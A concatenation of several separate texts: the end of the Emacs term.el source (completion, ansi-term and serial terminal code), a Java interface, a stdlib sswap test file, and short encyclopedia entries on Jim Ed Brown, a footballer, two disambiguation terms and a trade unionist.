(setq success nil))
((eq completion t) ; Means already completed "file".
(when term-completion-addsuffix (insert " "))
(or mini-flag (message "Sole completion")))
((string-equal completion "") ; Means completion on "directory/".
(term-dynamic-list-filename-completions))
(t ; Completion string returned.
(let ((file (concat (file-name-as-directory directory) completion)))
(insert (substring (directory-file-name completion)
(length pathnondir)))
(cond ((symbolp (file-name-completion completion directory))
;; We inserted a unique completion.
(insert (if (file-directory-p file) dirsuffix filesuffix))
(or mini-flag (message "Completed")))
((and term-completion-recexact term-completion-addsuffix
(string-equal pathnondir completion)
(file-exists-p file))
;; It's not unique, but user wants shortest match.
(insert (if (file-directory-p file) dirsuffix filesuffix))
(or mini-flag (message "Completed shortest")))
((or term-completion-autolist
(string-equal pathnondir completion))
;; It's not unique, list possible completions.
(term-dynamic-list-filename-completions))
(t
(or mini-flag (message "Partially completed")))))))
success))
(defun term-replace-by-expanded-filename ()
"Dynamically expand and complete the filename at point.
Replace the filename with an expanded, canonicalized and completed replacement.
\"Expanded\" means environment variables (e.g., $HOME) and `~'s are replaced
with the corresponding directories. \"Canonicalized\" means `..' and `.' are
removed, and the filename is made absolute instead of relative. For expansion
see `expand-file-name' and `substitute-in-file-name'. For completion see
`term-dynamic-complete-filename'."
(interactive)
(replace-match (expand-file-name (term-match-partial-filename)) t t)
(term-dynamic-complete-filename))
(defun term-dynamic-simple-complete (stub candidates)
"Dynamically complete STUB from CANDIDATES list.
This function inserts completion characters at point by completing STUB from
the strings in CANDIDATES. A completions listing may be shown in a help buffer
if completion is ambiguous.
Returns nil if no completion was inserted.
Returns `sole' if completed with the only completion match.
Returns `shortest' if completed with the shortest of the completion matches.
Returns `partial' if completed as far as possible with the completion matches.
Returns `listed' if a completion listing was shown.
See also `term-dynamic-complete-filename'."
(declare (obsolete completion-in-region "23.2"))
(let* ((completion-ignore-case nil)
(candidates (mapcar (function (lambda (x) (list x))) candidates))
(completions (all-completions stub candidates)))
(cond ((null completions)
(message "No completions of %s" stub)
nil)
((= 1 (length completions)) ; Gotcha!
(let ((completion (car completions)))
(if (string-equal completion stub)
(message "Sole completion")
(insert (substring completion (length stub)))
(message "Completed"))
(when term-completion-addsuffix (insert " "))
'sole))
(t ; There's no unique completion.
(let ((completion (try-completion stub candidates)))
;; Insert the longest substring.
(insert (substring completion (length stub)))
(cond ((and term-completion-recexact term-completion-addsuffix
(string-equal stub completion)
(member completion completions))
;; It's not unique, but user wants shortest match.
(insert " ")
(message "Completed shortest")
'shortest)
((or term-completion-autolist
(string-equal stub completion))
;; It's not unique, list possible completions.
(term-dynamic-list-completions completions)
'listed)
(t
(message "Partially completed")
'partial)))))))
(defun term-dynamic-list-filename-completions ()
"List in help buffer possible completions of the filename at point."
(interactive)
(let* ((completion-ignore-case nil)
(filename (or (term-match-partial-filename) ""))
(pathdir (file-name-directory filename))
(pathnondir (file-name-nondirectory filename))
(directory (if pathdir (term-directory pathdir) default-directory))
(completions (file-name-all-completions pathnondir directory)))
(if completions
(term-dynamic-list-completions completions)
(message "No completions of %s" filename))))
(defun term-dynamic-list-completions (completions)
"List in help buffer sorted COMPLETIONS.
Typing SPC flushes the help buffer."
(let ((conf (current-window-configuration)))
(with-output-to-temp-buffer "*Completions*"
(display-completion-list (sort completions 'string-lessp)))
(message "Hit space to flush")
(let (key first)
(if (with-current-buffer (get-buffer "*Completions*")
(setq key (read-key-sequence nil)
first (aref key 0))
(and (consp first)
(eq (window-buffer (posn-window (event-start first)))
(get-buffer "*Completions*"))
(memq (key-binding key)
'(mouse-choose-completion choose-completion))))
;; If the user does choose-completion with the mouse,
;; execute the command, then delete the completion window.
(progn
(choose-completion first)
(set-window-configuration conf))
(if (eq first ?\s)
(set-window-configuration conf)
(setq unread-command-events
(nconc (listify-key-sequence key)
unread-command-events)))))))
;; I need a make-term that doesn't surround with *s -mm
(defun term-ansi-make-term (name program &optional startfile &rest switches)
"Make a term process NAME in a buffer, running PROGRAM.
The name of the buffer is NAME.
If there is already a running process in that buffer, it is not restarted.
Optional third arg STARTFILE is the name of a file to send the contents of to
the process. Any more args are arguments to PROGRAM."
(let ((buffer (get-buffer-create name )))
;; If no process, or nuked process, crank up a new one and put buffer in
;; term mode. Otherwise, leave buffer and existing process alone.
(cond ((not (term-check-proc buffer))
(with-current-buffer buffer
(term-mode)) ; Install local vars, mode, keymap, ...
(term-exec buffer name program startfile switches)))
buffer))
(defvar term-ansi-buffer-name nil)
(defvar term-ansi-default-program nil)
(defvar term-ansi-buffer-base-name nil)
;;;###autoload
(defun ansi-term (program &optional new-buffer-name)
"Start a terminal-emulator in a new buffer.
This is almost the same as `term' apart from always creating a new buffer,
and `C-x' being marked as a `term-escape-char'. "
(interactive (list (read-from-minibuffer "Run program: "
(or explicit-shell-file-name
(getenv "ESHELL")
shell-file-name))))
;; Pick the name of the new buffer.
(setq term-ansi-buffer-name
(if new-buffer-name
new-buffer-name
(if term-ansi-buffer-base-name
(if (eq term-ansi-buffer-base-name t)
(file-name-nondirectory program)
term-ansi-buffer-base-name)
"ansi-term")))
(setq term-ansi-buffer-name (concat "*" term-ansi-buffer-name "*"))
;; In order to have more than one term active at a time
;; I'd like to have the term names have the *term-ansi-term<?>* form,
;; for now they have the *term-ansi-term*<?> form but we'll see...
(setq term-ansi-buffer-name (generate-new-buffer-name term-ansi-buffer-name))
(setq term-ansi-buffer-name (term-ansi-make-term term-ansi-buffer-name program))
(set-buffer term-ansi-buffer-name)
(term-mode)
(term-char-mode)
;; Historical baggage. A call to term-set-escape-char used to not
;; undo any previous call to t-s-e-c. Because of this, ansi-term
;; ended up with both C-x and C-c as escape chars. Who knows what
;; the original intention was, but people could have become used to
;; either. (Bug#12842)
(let (term-escape-char)
;; I wanna have find-file on C-x C-f -mm
;; your mileage may definitely vary, maybe it's better to put this in your
;; .emacs ...
(term-set-escape-char ?\C-x))
(switch-to-buffer term-ansi-buffer-name))
;;; Serial terminals
;; ===========================================================================
(defun serial-port-is-file-p ()
"Guess whether serial ports are files on this system.
Return t if this is a Unix-based system, where serial ports are
files, such as /dev/ttyS0.
Return nil if this is Windows or DOS, where serial ports have
special identifiers such as COM1."
(not (memq system-type '(windows-nt cygwin ms-dos))))
(defvar serial-name-history
(if (serial-port-is-file-p)
(or (when (file-exists-p "/dev/ttys0") (list "/dev/ttys0"))
(when (file-exists-p "/dev/ttyS0") (list "/dev/ttyS0")))
(list "COM1"))
"History of serial ports used by `serial-read-name'.")
(defvar serial-speed-history
;; Initialized with reasonable values for newbies.
(list "9600" ;; Given twice because 9600 b/s is the most common speed
"1200" "2400" "4800" "9600" "14400" "19200"
"28800" "38400" "57600" "115200")
"History of serial port speeds used by `serial-read-speed'.")
(defun serial-nice-speed-history ()
"Return `serial-speed-history' cleaned up for a mouse-menu."
(let ((x) (y))
(setq x
(sort
(copy-sequence serial-speed-history)
(lambda (a b) (when (and (stringp a) (stringp b))
(> (string-to-number a) (string-to-number b))))))
(dolist (i x) (when (not (equal i (car y))) (push i y)))
y))
(defconst serial-no-speed "nil"
"String for `serial-read-speed' for special serial ports.
If `serial-read-speed' reads this string from the user, it
returns nil, which is recognized by `serial-process-configure'
for special serial ports that cannot be configured.")
(defun serial-supported-or-barf ()
"Signal an error if serial processes are not supported."
(unless (fboundp 'make-serial-process)
(error "Serial processes are not supported on this system")))
(defun serial-read-name ()
"Read a serial port name from the user.
Try to be nice by providing useful defaults and history.
On Windows, prepend \\.\ to the port name unless it already
contains a backslash. This handles the legacy ports COM1-COM9 as
well as the newer ports COM10 and higher."
(serial-supported-or-barf)
(let* ((file-name-history serial-name-history)
(h (car file-name-history))
(x (if (serial-port-is-file-p)
(read-file-name
;; `prompt': The most recently used port is provided as
;; the default value, which is used when the user
;; simply presses return.
(if (stringp h) (format "Serial port (default %s): " h)
"Serial port: ")
;; `directory': Most systems have their serial ports
;; in the same directory, so start in the directory
;; of the most recently used port, or in a reasonable
;; default directory.
(or (and h (file-name-directory h))
(and (file-exists-p "/dev/") "/dev/")
(and (file-exists-p "/") "/"))
;; `default': This causes (read-file-name) to return
;; the empty string if he user simply presses return.
;; Using nil here may result in a default directory
;; of the current buffer, which is not useful for
;; serial port.
"")
(read-from-minibuffer
(if (stringp h) (format "Serial port (default %s): " h)
"Serial port: ")
nil nil nil '(file-name-history . 1) nil nil))))
(if (or (null x) (and (stringp x) (zerop (length x))))
(setq x h)
(setq serial-name-history file-name-history))
(when (or (null x) (and (stringp x) (zerop (length x))))
(error "No serial port selected"))
(when (and (not (serial-port-is-file-p))
(not (string-match "\\\\" x)))
(set 'x (concat "\\\\.\\" x)))
x))
(defun serial-read-speed ()
"Read a serial port speed (in bits per second) from the user.
Try to be nice by providing useful defaults and history."
(serial-supported-or-barf)
(let* ((history serial-speed-history)
(h (car history))
(x (read-from-minibuffer
(cond ((string= h serial-no-speed)
"Speed (default nil = set by port): ")
(h
(format "Speed (default %s b/s): " h))
(t
(format "Speed (b/s): ")))
nil nil nil '(history . 1) nil nil)))
(when (or (null x) (and (stringp x) (zerop (length x))))
(setq x h))
(when (or (null x) (not (stringp x)) (zerop (length x)))
(error "Invalid speed"))
(if (string= x serial-no-speed)
(setq x nil)
(setq x (string-to-number x))
(when (or (null x) (not (integerp x)) (<= x 0))
(error "Invalid speed")))
(setq serial-speed-history history)
x))
;;;###autoload
(defun serial-term (port speed)
"Start a terminal-emulator for a serial port in a new buffer.
PORT is the path or name of the serial port. For example, this
could be \"/dev/ttyS0\" on Unix. On Windows, this could be
\"COM1\" or \"\\\\.\\COM10\".
SPEED is the speed of the serial port in bits per second. 9600
is a common value. SPEED can be nil, see
`serial-process-configure' for details.
The buffer is in Term mode; see `term-mode' for the commands to
use in that buffer.
\\<term-raw-map>Type \\[switch-to-buffer] to switch to another buffer."
(interactive (list (serial-read-name) (serial-read-speed)))
(serial-supported-or-barf)
(let* ((process (make-serial-process
:port port
:speed speed
:coding 'no-conversion
:noquery t))
(buffer (process-buffer process)))
(with-current-buffer buffer
(term-mode)
(term-char-mode)
(goto-char (point-max))
(set-marker (process-mark process) (point))
(set-process-filter process 'term-emulate-terminal)
(set-process-sentinel process 'term-sentinel))
(switch-to-buffer buffer)
buffer))
(defvar serial-mode-line-speed-menu nil)
(defvar serial-mode-line-config-menu nil)
(defun serial-speed ()
"Return the speed of the serial port of the current buffer's process.
The return value may be nil for a special serial port."
(process-contact (get-buffer-process (current-buffer)) :speed))
(defun serial-mode-line-speed-menu-1 (event)
(interactive "e")
(save-selected-window
(select-window (posn-window (event-start event)))
(serial-update-speed-menu)
(let* ((selection (serial-mode-line-speed-menu event))
(binding (and selection (lookup-key serial-mode-line-speed-menu
(vector (car selection))))))
(when binding (call-interactively binding)))))
(defun serial-mode-line-speed-menu (event)
(x-popup-menu event serial-mode-line-speed-menu))
(defun serial-update-speed-menu ()
(setq serial-mode-line-speed-menu (make-sparse-keymap "Speed (b/s)"))
(define-key serial-mode-line-speed-menu [serial-mode-line-speed-menu-other]
'(menu-item "Other..."
(lambda (event) (interactive "e")
(let ((speed (serial-read-speed)))
(serial-process-configure :speed speed)
(term-update-mode-line)
(message "Speed set to %d b/s" speed)))))
(dolist (str (serial-nice-speed-history))
(let ((num (or (and (stringp str) (string-to-number str)) 0)))
(define-key
serial-mode-line-speed-menu
(vector (make-symbol (format "serial-mode-line-speed-menu-%s" str)))
`(menu-item
,str
(lambda (event) (interactive "e")
(serial-process-configure :speed ,num)
(term-update-mode-line)
(message "Speed set to %d b/s" ,num))
:button (:toggle . (= (serial-speed) ,num)))))))
(defun serial-mode-line-config-menu-1 (event)
(interactive "e")
(save-selected-window
(select-window (posn-window (event-start event)))
(serial-update-config-menu)
(let* ((selection (serial-mode-line-config-menu event))
(binding (and selection (lookup-key serial-mode-line-config-menu
(vector (car selection))))))
(when binding (call-interactively binding)))))
(defun serial-mode-line-config-menu (event)
(x-popup-menu event serial-mode-line-config-menu))
(defun serial-update-config-menu ()
(setq serial-mode-line-config-menu (make-sparse-keymap "Configuration"))
(let ((config (process-contact
(get-buffer-process (current-buffer)) t)))
(dolist (y '((:flowcontrol hw "Hardware flowcontrol (RTS/CTS)")
(:flowcontrol sw "Software flowcontrol (XON/XOFF)")
(:flowcontrol nil "No flowcontrol")
(:stopbits 2 "2 stopbits")
(:stopbits 1 "1 stopbit")
(:parity odd "Odd parity")
(:parity even "Even parity")
(:parity nil "No parity")
(:bytesize 7 "7 bits per byte")
(:bytesize 8 "8 bits per byte")))
(define-key serial-mode-line-config-menu
(vector (make-symbol (format "%s-%s" (nth 0 y) (nth 1 y))))
`(menu-item
,(nth 2 y)
(lambda (event) (interactive "e")
(serial-process-configure ,(nth 0 y) ',(nth 1 y))
(term-update-mode-line)
(message "%s" ,(nth 2 y)))
;; Use :toggle instead of :radio because a non-standard port
;; configuration may not match any menu items.
:button (:toggle . ,(equal (plist-get config (nth 0 y))
(nth 1 y))))))))
;;; Converting process modes to use term mode
;; ===========================================================================
;; Renaming variables
;; Most of the work is renaming variables and functions. These are the common
;; ones:
;; Local variables:
;; last-input-start term-last-input-start
;; last-input-end term-last-input-end
;; shell-prompt-pattern term-prompt-regexp
;; shell-set-directory-error-hook <no equivalent>
;; Miscellaneous:
;; shell-set-directory <unnecessary>
;; shell-mode-map term-mode-map
;; Commands:
;; shell-send-input term-send-input
;; shell-send-eof term-delchar-or-maybe-eof
;; kill-shell-input term-kill-input
;; interrupt-shell-subjob term-interrupt-subjob
;; stop-shell-subjob term-stop-subjob
;; quit-shell-subjob term-quit-subjob
;; kill-shell-subjob term-kill-subjob
;; kill-output-from-shell term-kill-output
;; show-output-from-shell term-show-output
;; copy-last-shell-input Use term-previous-input/term-next-input
;;
;; SHELL-SET-DIRECTORY is gone, its functionality taken over by
;; SHELL-DIRECTORY-TRACKER, the shell mode's term-input-filter-functions.
;; Term mode does not provide functionality equivalent to
;; shell-set-directory-error-hook; it is gone.
;;
;; term-last-input-start is provided for modes which want to munge
;; the buffer after input is sent, perhaps because the inferior
;; insists on echoing the input. The LAST-INPUT-START variable in
;; the old shell package was used to implement a history mechanism,
;; but you should think twice before using term-last-input-start
;; for this; the input history ring often does the job better.
;;
;; If you are implementing some process-in-a-buffer mode, called foo-mode, do
;; *not* create the term-mode local variables in your foo-mode function.
;; This is not modular. Instead, call term-mode, and let *it* create the
;; necessary term-specific local variables. Then create the
;; foo-mode-specific local variables in foo-mode. Set the buffer's keymap to
;; be foo-mode-map, and its mode to be foo-mode. Set the term-mode hooks
;; (term-{prompt-regexp, input-filter, input-filter-functions,
;; get-old-input) that need to be different from the defaults. Call
;; foo-mode-hook, and you're done. Don't run the term-mode hook yourself;
;; term-mode will take care of it. The following example, from shell.el,
;; is typical:
;;
;; (defvar shell-mode-map '())
;; (cond ((not shell-mode-map)
;; (setq shell-mode-map (copy-keymap term-mode-map))
;; (define-key shell-mode-map "\C-c\C-f" 'shell-forward-command)
;; (define-key shell-mode-map "\C-c\C-b" 'shell-backward-command)
;; (define-key shell-mode-map "\t" 'term-dynamic-complete)
;; (define-key shell-mode-map "\M-?"
;; 'term-dynamic-list-filename-completions)))
;;
;; (defun shell-mode ()
;; (interactive)
;; (term-mode)
;; (setq term-prompt-regexp shell-prompt-pattern)
;; (setq major-mode 'shell-mode)
;; (setq mode-name "Shell")
;; (use-local-map shell-mode-map)
;; (make-local-variable 'shell-directory-stack)
;; (setq shell-directory-stack nil)
;; (add-hook 'term-input-filter-functions 'shell-directory-tracker)
;; (run-mode-hooks 'shell-mode-hook))
;;
;;
;; Completion for term-mode users
;;
;; For modes that use term-mode, term-dynamic-complete-functions is the
;; hook to add completion functions to. Functions on this list should return
;; non-nil if completion occurs (i.e., further completion should not occur).
;; You could use completion-in-region to do the bulk of the
;; completion job.
(provide 'term)
;;; term.el ends here
```
|
El Dragón is Spanish for "dragon". It may refer to:
El Dragón, a 2003 album by Johnny Prez
El Dragón, a 2023 album by Lola Índigo
El Dragón: Return of a Warrior, a Spanish-language crime drama television series
Francis Drake, who earned the nickname for his privateering efforts in the Spanish Main during the 16th century
|
```java
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
* Contributors:
* ohun@live.cn ()
*/
package com.mpush.api.spi.common;
import com.mpush.api.spi.Factory;
import com.mpush.api.spi.SpiLoader;
/**
* Created by ohun on 2016/12/27.
*
* @author ohun@live.cn ()
*/
public interface MQClientFactory extends Factory<MQClient> {
static MQClient create() {
return SpiLoader.load(MQClientFactory.class).get();
}
}
```
|
James Edward Brown (April 1, 1934 – June 11, 2015) was an American country singer-songwriter who achieved fame in the 1950s with his two sisters as a member of the Browns. He later had a successful solo career from 1965 to 1974, followed by a string of major duet hits with fellow country music vocalist Helen Cornelius, through 1981. Brown was also the host of the Country Music Greats Radio Show, a syndicated country music program from Nashville, Tennessee.
Biography
Jim Ed was born on April 1, 1934, in Sparkman, Arkansas, to Floyd and Birdie Brown. His parents owned a farm and his father also worked at a sawmill. As small children, Jim and his sisters, Maxine and Bonnie, moved with their parents to Pine Bluff, Arkansas. As young adults, the three siblings sang together and individually. This changed in 1954 when Jim Ed and Maxine signed a recording contract as a duo. They earned national recognition and a guest spot on Ernest Tubb's radio show for their humorous song "Looking Back To See", which hit the top ten and stayed on the charts through the summer of 1954.
The Browns
Jim Ed and Maxine were joined in 1955 by 18-year-old Bonnie, and The Browns began performing on Louisiana Hayride in Shreveport, Louisiana. By the end of 1955, the trio were appearing on KWTO-AM in Springfield, Missouri, and had another top ten hit with "Here Today and Gone Tomorrow", which got a boost by their national appearances on ABC-TV's Ozark Jubilee. They signed with RCA Victor in 1956, and soon had two major hits, "I Take the Chance" and "I Heard the Bluebirds Sing". When Jim Ed was drafted in 1957, the group continued to record while he was on leave, and sister Norma filled in for him on tours. He was stationed at Fort Carson, Colorado.
In 1959, The Browns scored their biggest hit when their folk-pop single "The Three Bells" reached No. 1 on the Billboard Hot 100 pop and country charts. The song also peaked at No. 10 on Billboard's Rhythm and Blues listing. Remakes of the pop hits "Scarlet Ribbons" and "The Old Lamplighter" continued the hit streak, reaching the top 15 on Billboard's Pop and Country surveys. The trio had moderate successes on the country music charts for seven years thereafter. In 1963, they joined the Grand Ole Opry and in 1967 the group disbanded.
Solo career
Brown continued to record for RCA Victor and had a number of country hits, starting in 1965 while still with his sisters. In 1967, he released his first solo top ten hit, "Pop a Top", which became his signature song. Beginning in 1969, he also gained his own syndicated TV series "The Country Place", which would become famous for introducing Crystal Gayle. The show ended in 1971. In 1970, he gained a crossover hit with "Morning" which went to No. 4 on the country charts and No. 47 on the pop charts. Other hits included "Angel's Sunday" (1971), "Southern Loving" (1973), "Sometime Sunshine" (1974) and "It's That Time Of Night" (1974).
Beginning in 1976, Brown released a string of major duet hits with Helen Cornelius starting with the No. 1 hit, "I Don't Want to Have to Marry You". Other hits for the duo included "Saying Hello, Saying I Love You, Saying Goodbye" (1977), "Born Believer" (1977), "I'll Never Be Free" (1978), "If the World Ran Out of Love Tonight" (1978), "You Don't Bring Me Flowers" (a cover of the then-recent Neil Diamond-Barbra Streisand hit) (1979), "Lying In Love With You" (1979), "Fools" (1979), "Morning Comes Too Early" (1980) and "Don't Bother to Knock" (1981).
Brown hosted the syndicated country television show Nashville on the Road, along with Jerry Clower, Helen Cornelius, and Wendy Holcombe. The entire cast was replaced in 1981. The new host, Jim Stafford, kept hosting it until it ended in 1983. Brown also hosted The Nashville Network programs You Can Be A Star (a talent show) and Going Our Way, which featured Brown and his wife Becky traveling the U.S. in an RV. Brown and his wife lived in the south Nashville suburb of Brentwood, Tennessee.
Radio host
Brown hosted two nationally syndicated country music radio shows, the weekly two-hour Country Music Greats Radio Show and the weekday short-form vignette, Country Music Greats Radio Minute. Both were broadcast by over 300 radio stations to a weekly audience exceeding three million, as well as on the Internet. Recorded at the Hard Scuffle Studios in Nashville, the Country Music Greats Radio Show blended music from the 1940s through the 1990s with an interview archive of country stars past and present. Brown also told tales of living and working in the country music industry.
Dollar General Stores Spokesperson
Beginning in 1975, Brown became a national spokesperson for the Dollar General Stores discount retailer. He appeared in frequent TV advertisements using the slogan, "Every day is dollar day at your Dollar General Store," and an autographed photo hung behind the cash register at many stores.
Grand Ole Opry
An active and popular member of the Grand Ole Opry since 1963, Jim Ed Brown would remain so until his death. He would occasionally reunite there with Helen Cornelius to perform their hit duets together.
Country Music Hall of Fame
In March 2015, it was announced that the Browns would be inducted into the Country Music Hall of Fame later in the year. With his health declining, Brown was inducted in June.
Illness and death
Brown announced in September 2014 that he had been diagnosed with lung cancer and had temporarily retired from hosting his radio programs to undergo treatment. By early 2015 he was in remission and returned to hosting his radio programs. However, on June 3, 2015, he stated that the cancer had returned. Brown died a week later on June 11, 2015, at the age of 81.
Discography
References
External links
[ Allmusic Jim Ed Brown]
Jim Ed Brown's artist profile at Countrypolitian.com
Country Music Greats Radio Show with Jim Ed Brown
Jim Ed Brown – MyBestYears.com INTERVIEW SPOTLIGHT
1934 births
2015 deaths
American country singer-songwriters
American male singer-songwriters
People from Dallas County, Arkansas
People from Jefferson County, Arkansas
Country Music Hall of Fame inductees
Grand Ole Opry members
Deaths from lung cancer in Tennessee
Singer-songwriters from Arkansas
Country musicians from Arkansas
|
```javascript
/**
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
'use strict';
// MODULES //
var resolve = require( 'path' ).resolve;
var tape = require( 'tape' );
var Float32Array = require( '@stdlib/array/float32' );
var scopy = require( '@stdlib/blas/base/scopy' );
var tryRequire = require( '@stdlib/utils/try-require' );
// VARIABLES //
var sswap = tryRequire( resolve( __dirname, './../lib/sswap.native.js' ) );
var opts = {
'skip': ( sswap instanceof Error )
};
// TESTS //
tape( 'main export is a function', opts, function test( t ) {
t.ok( true, __filename );
t.strictEqual( typeof sswap, 'function', 'main export is a function' );
t.end();
});
tape( 'the function has an arity of 5', opts, function test( t ) {
t.strictEqual( sswap.length, 5, 'returns expected value' );
t.end();
});
tape( 'the function interchanges vectors `x` and `y`', opts, function test( t ) {
var xe;
var ye;
var x;
var y;
x = new Float32Array( [ 1.0, 2.0 ] );
y = new Float32Array( [ 6.0, 7.0 ] );
xe = new Float32Array( y.length );
scopy( y.length, y, 1, xe, 1 );
ye = new Float32Array( x.length );
scopy( x.length, x, 1, ye, 1 );
sswap( x.length, x, 1, y, 1 );
t.deepEqual( x, xe, 'returns expected value' );
t.notEqual( x, xe, 'different references' );
t.deepEqual( y, ye, 'returns expected value' );
t.notEqual( y, ye, 'different references' );
x = new Float32Array( [ 1.0, 2.0, 3.0, 4.0, 5.0 ] );
y = new Float32Array( [ 6.0, 7.0, 8.0, 9.0, 10.0 ] );
xe = new Float32Array( y.length );
scopy( y.length, y, 1, xe, 1 );
ye = new Float32Array( x.length );
scopy( x.length, x, 1, ye, 1 );
sswap( x.length, x, 1, y, 1 );
t.deepEqual( x, xe, 'returns expected value' );
t.notEqual( x, xe, 'different references' );
t.deepEqual( y, ye, 'returns expected value' );
t.notEqual( y, ye, 'different references' );
t.end();
});
tape( 'the function supports an `x` stride', opts, function test( t ) {
var xe;
var ye;
var x;
var y;
var N;
x = new Float32Array([
1.0, // 0
2.0,
3.0, // 1
4.0,
5.0 // 2
]);
y = new Float32Array([
6.0, // 0
7.0, // 1
8.0, // 2
9.0,
10.0
]);
N = 3;
sswap( N, x, 2, y, 1 );
xe = new Float32Array( [ 6.0, 2.0, 7.0, 4.0, 8.0 ] );
ye = new Float32Array( [ 1.0, 3.0, 5.0, 9.0, 10.0 ] );
t.deepEqual( x, xe, 'returns expected value' );
t.deepEqual( y, ye, 'returns expected value' );
t.end();
});
tape( 'the function supports a `y` stride', opts, function test( t ) {
var xe;
var ye;
var x;
var y;
var N;
x = new Float32Array([
1.0, // 0
2.0, // 1
3.0, // 2
4.0,
5.0
]);
y = new Float32Array([
6.0, // 0
7.0,
8.0, // 1
9.0,
10.0 // 2
]);
N = 3;
sswap( N, x, 1, y, 2 );
xe = new Float32Array( [ 6.0, 8.0, 10.0, 4.0, 5.0 ] );
ye = new Float32Array( [ 1.0, 7.0, 2.0, 9.0, 3.0 ] );
t.deepEqual( x, xe, 'returns expected value' );
t.deepEqual( y, ye, 'returns expected value' );
t.end();
});
tape( 'the function returns a reference to the second input array', opts, function test( t ) {
var out;
var x;
var y;
x = new Float32Array( [ 1.0, 2.0, 3.0, 4.0, 5.0 ] );
y = new Float32Array( [ 6.0, 7.0, 8.0, 9.0, 10.0 ] );
out = sswap( x.length, x, 1, y, 1 );
t.strictEqual( out, y, 'returns expected value' );
t.end();
});
tape( 'if provided an `N` parameter less than or equal to `0`, the function leaves both input arrays unchanged', opts, function test( t ) {
var xe;
var ye;
var x;
var y;
x = new Float32Array( [ 1.0, 2.0, 3.0, 4.0, 5.0 ] );
y = new Float32Array( [ 6.0, 7.0, 8.0, 9.0, 10.0 ] );
xe = new Float32Array( x.length );
scopy( x.length, x, 1, xe, 1 );
ye = new Float32Array( y.length );
scopy( y.length, y, 1, ye, 1 );
sswap( -1, x, 1, y, 1 );
t.deepEqual( x, xe, 'returns expected value' );
t.deepEqual( y, ye, 'returns expected value' );
sswap( 0, x, 1, y, 1 );
t.deepEqual( x, xe, 'returns expected value' );
t.deepEqual( y, ye, 'returns expected value' );
t.end();
});
tape( 'the function supports negative strides', opts, function test( t ) {
var xe;
var ye;
var x;
var y;
var N;
x = new Float32Array([
1.0, // 2
2.0,
3.0, // 1
4.0,
5.0 // 0
]);
y = new Float32Array([
6.0, // 2
7.0, // 1
8.0, // 0
9.0,
10.0
]);
N = 3;
sswap( N, x, -2, y, -1 );
xe = new Float32Array( [ 6.0, 2.0, 7.0, 4.0, 8.0 ] );
ye = new Float32Array( [ 1.0, 3.0, 5.0, 9.0, 10.0 ] );
t.deepEqual( x, xe, 'returns expected value' );
t.deepEqual( y, ye, 'returns expected value' );
t.end();
});
tape( 'the function supports complex access patterns', opts, function test( t ) {
var xe;
var ye;
var x;
var y;
var N;
x = new Float32Array([
1.0, // 0
2.0,
3.0, // 1
4.0,
5.0, // 2
6.0
]);
y = new Float32Array([
7.0, // 2
8.0, // 1
9.0, // 0
10.0,
11.0,
12.0
]);
N = 3;
sswap( N, x, 2, y, -1 );
xe = new Float32Array( [ 9.0, 2.0, 8.0, 4.0, 7.0, 6.0 ] );
ye = new Float32Array( [ 5.0, 3.0, 1.0, 10.0, 11.0, 12.0 ] );
t.deepEqual( x, xe, 'returns expected value' );
t.deepEqual( y, ye, 'returns expected value' );
t.end();
});
tape( 'the function supports view offsets', opts, function test( t ) {
var x0;
var y0;
var x1;
var y1;
var xe;
var ye;
var N;
// Initial arrays...
x0 = new Float32Array([
1.0,
2.0, // 2
3.0,
4.0, // 1
5.0,
6.0 // 0
]);
y0 = new Float32Array([
7.0,
8.0,
9.0,
10.0, // 0
11.0, // 1
12.0 // 2
]);
// Create offset views...
x1 = new Float32Array( x0.buffer, x0.BYTES_PER_ELEMENT*1 ); // begin at 2nd element
y1 = new Float32Array( y0.buffer, y0.BYTES_PER_ELEMENT*3 ); // begin at the 4th element
N = 3;
sswap( N, x1, -2, y1, 1 );
xe = new Float32Array( [ 1.0, 12.0, 3.0, 11.0, 5.0, 10.0 ] );
ye = new Float32Array( [ 7.0, 8.0, 9.0, 6.0, 4.0, 2.0 ] );
t.deepEqual( x0, xe, 'returns expected value' );
t.deepEqual( y0, ye, 'returns expected value' );
t.end();
});
tape( 'if both strides are equal to `1`, the function efficiently swaps elements', opts, function test( t ) {
var xe;
var ye;
var x;
var y;
var i;
x = new Float32Array( 100 );
y = new Float32Array( x.length );
for ( i = 0; i < x.length; i++ ) {
x[ i ] = i;
y[ i ] = x.length - i;
}
xe = new Float32Array( y.length );
scopy( y.length, y, 1, xe, 1 );
ye = new Float32Array( x.length );
scopy( x.length, x, 1, ye, 1 );
sswap( x.length, x, 1, y, 1 );
t.deepEqual( x, xe, 'returns expected value' );
t.notEqual( x, xe, 'different references' );
t.deepEqual( y, ye, 'returns expected value' );
t.notEqual( y, ye, 'different references' );
x = new Float32Array( 120 );
y = new Float32Array( x.length );
for ( i = 0; i < x.length; i++ ) {
x[ i ] = i*2;
y[ i ] = x.length - i;
}
xe = new Float32Array( y.length );
scopy( y.length, y, 1, xe, 1 );
ye = new Float32Array( x.length );
scopy( x.length, x, 1, ye, 1 );
sswap( x.length, x, 1, y, 1 );
t.deepEqual( x, xe, 'returns expected value' );
t.notEqual( x, xe, 'different references' );
t.deepEqual( y, ye, 'returns expected value' );
t.notEqual( y, ye, 'different references' );
t.end();
});
```
|
Ryan Lethlean (born 27 March 2002) is an Australian professional footballer who plays as a striker or defender for Melbourne Victory. He made his professional debut in a FFA Cup playoff match on 24 November 2021 against Perth Glory, scoring in a penalty shootout.
References
External links
Living people
Australian men's soccer players
Men's association football midfielders
Melbourne Victory FC players
National Premier Leagues players
2002 births
Soccer players from Melbourne
|
Kolta may refer to:
Kolta, Slovakia, a village and municipality in Slovakia
Nemeskolta, known pre-1899 as Kolta, a village in Hungary
Kolta, Ethiopia, a settlement in the Gofa Zone of Ethiopia
Kolta people, or Koli, a social group of India
Buatier De Kolta (1845–1903), French magician
See also
Colta (disambiguation)
Kotla (disambiguation)
|
Edwin Coulson (1828 – 25 June 1893) was a British trade unionist.
Born in Cambridge, Coulson came to prominence in 1861, when he took a leading role in a strike on the Great Northern Railway, representing the workers in meetings with employers. This proved successful, and the workers won the right to not be docked pay if they missed work for reasons outside their control.
